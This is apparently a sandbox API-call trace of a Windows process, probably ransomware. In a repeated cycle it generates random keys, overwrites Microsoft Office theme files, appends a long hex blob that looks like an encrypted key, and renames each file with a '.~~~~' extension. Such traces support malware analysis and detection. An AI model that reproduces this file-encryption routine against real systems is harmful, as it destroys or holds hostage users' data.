	[0122.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.651] GetLastError () returned 0x0
	[0122.651] GetLastError () returned 0x0
	[0122.651] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.651] GetLastError () returned 0x0
	[0122.652] GetLastError () returned 0x0
	[0122.656] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb8ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.656] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x4732, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x4732, lpOverlapped=0x0) returned 1
	[0122.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.657] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.657] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.657] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.657] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.657] CloseHandle (hObject=0x11c) returned 1
	[0122.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.657] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.~~~~")) returned 1
	[0122.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.658] GetLastError () returned 0x0
	[0122.659] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.660] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.660] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.661] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24265084728) returned 1
	[0122.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2956030, dwHighDateTime=0x1d60e1e)) 
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ee28
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ee28 | out: hHeap=0x300000) returned 1
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.662] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.662] GetLastError () returned 0x0
	[0122.662] GetLastError () returned 0x0
	[0122.662] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.662] GetLastError () returned 0x0
	[0122.662] GetLastError () returned 0x0
	[0122.665] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb731, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.665] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x48cf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x48cf, lpOverlapped=0x0) returned 1
	[0122.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.666] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.666] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.667] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.667] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.667] CloseHandle (hObject=0x11c) returned 1
	[0122.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8a98
	[0122.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.~~~~")) returned 1
	[0122.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8a98 | out: hHeap=0x300000) returned 1
	[0122.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.668] GetLastError () returned 0x0
	[0122.668] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.669] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.669] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.669] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24265961670) returned 1
	[0122.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2956030, dwHighDateTime=0x1d60e1e)) 
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ee60
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ee60 | out: hHeap=0x300000) returned 1
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.670] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.670] GetLastError () returned 0x0
	[0122.671] GetLastError () returned 0x0
	[0122.671] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.671] GetLastError () returned 0x0
	[0122.671] GetLastError () returned 0x0
	[0122.727] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.727] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.730] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.730] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.732] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.732] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.732] CloseHandle (hObject=0x11c) returned 1
	[0122.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.733] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.~~~~")) returned 1
	[0122.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.734] GetLastError () returned 0x0
	[0122.735] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.736] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.736] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24272618110) returned 1
	[0122.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2a14710, dwHighDateTime=0x1d60e1e)) 
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ef78
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ef78 | out: hHeap=0x300000) returned 1
	[0122.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.737] GetLastError () returned 0x0
	[0122.737] GetLastError () returned 0x0
	[0122.737] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.737] GetLastError () returned 0x0
	[0122.737] GetLastError () returned 0x0
	[0122.740] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.741] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.744] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.744] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.746] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.746] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.746] CloseHandle (hObject=0x11c) returned 1
	[0122.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0122.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.~~~~")) returned 1
	[0122.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0122.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.748] GetLastError () returned 0x0
	[0122.748] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.749] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.749] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.750] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24273983863) returned 1
	[0122.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2a3a870, dwHighDateTime=0x1d60e1e)) 
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281efb0
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281efb0 | out: hHeap=0x300000) returned 1
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.750] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.751] GetLastError () returned 0x0
	[0122.751] GetLastError () returned 0x0
	[0122.751] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.751] GetLastError () returned 0x0
	[0122.751] GetLastError () returned 0x0
	[0122.753] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7fa7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.753] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x8059, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x8059, lpOverlapped=0x0) returned 1
	[0122.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.756] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.756] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.756] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.756] CloseHandle (hObject=0x11c) returned 1
	[0122.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0122.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.~~~~")) returned 1
	[0122.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0122.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.758] GetLastError () returned 0x0
	[0122.758] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.759] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.760] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.760] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24274984916) returned 1
	[0122.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2a3a870, dwHighDateTime=0x1d60e1e)) 
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281efe8
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281efe8 | out: hHeap=0x300000) returned 1
